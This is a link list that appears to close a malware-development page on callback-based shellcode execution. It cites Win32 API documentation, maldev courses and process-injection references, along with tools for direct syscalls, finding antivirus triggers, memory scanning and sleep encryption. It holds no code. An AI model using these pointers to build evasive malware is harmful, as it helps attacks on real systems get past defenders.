MSDN / Official Documentation: - Win32 Callback APIs — https://learn.microsoft.com/en-us/windows/win32/api/ - EnumWindows — https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows - CertEnumSystemStore — https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-certenumsystemstore - CreateThreadpoolWait — https://learn.microsoft.com/en-us/windows/win32/api/threadpoolapiset/nf-threadpoolapiset-createthreadpoolwait

Research & Further Reading: - ired.team — https://www.ired.team (Shellcode Execution Techniques) - Sektor7 Malware Development Intermediate/Advanced courses - VX-Underground — https://vx-underground.org (callback technique papers) - Process Injection techniques — https://github.com/3xpl01tc0d3r/ProcessInjection - Maldev Academy — https://maldevacademy.com - alfarom256 — original CreateThreadPoolWait technique popularization - ch3rn0byl — original project encouragement (per repo README)

Tools: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 (direct syscall codegen) - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck (AV trigger finder) - Pe-Sieve — https://github.com/hasherezade/pe-sieve (process memory scanner) - Moneta — https://github.com/forrest-orr/moneta (live memory IOC scanner) - Ekko / Gargoyle — sleep encryption for use between callback invocations


← Malware development top ↑